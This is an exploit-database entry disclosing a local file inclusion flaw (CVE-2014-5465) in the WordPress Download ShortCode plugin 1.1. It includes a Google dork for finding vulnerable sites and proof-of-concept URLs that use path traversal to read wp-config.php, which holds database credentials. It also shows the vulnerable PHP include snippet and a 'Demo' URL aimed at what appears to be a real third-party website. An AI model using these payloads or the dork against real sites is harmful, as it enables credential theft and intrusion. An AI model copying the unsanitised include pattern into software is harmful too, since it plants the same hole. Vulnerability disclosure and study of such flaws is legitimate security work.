WordPress ShortCode Plugin 1.1 - Local File Inclusion Vulnerability

2014-08-28T00:00:00
ID 1337DAY-ID-22555
Type zdt
Reporter Mehdi Karout
Modified 2014-08-28T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            #################################################################################################
#
# Title                : WordPress ShortCode Plugin - Local File Inclusion Vulnerability
# Severity             : High+/Critical
# Reporter(s)          : Mehdi Karout & Christian Galeone
# Google Dork          : inurl:wp/wp-content/force-download.php
# Plugin Version       : 1.1
# Plugin Name          : Download ShortCode
# Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip
# Vendor Home          : http://werdswords.com/
# Date                 : 25/08/2014
# Tested in            : Win7 - Kali Linux
# CVE                  : CVE-2014-5465
#
##################################################################################################
#
# PoC :
#
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File]
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php
#
# Exploit Code :
#
#    $file = $_GET['file'];
#  if(isset($file))
#  {
#      include("pages/$file");
#  }
#  else
#  {
#      include("index.php");
#  }
#
# Demo :
#
# http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php
#
##################################################################################################

#  0day.today [2018-04-03]  #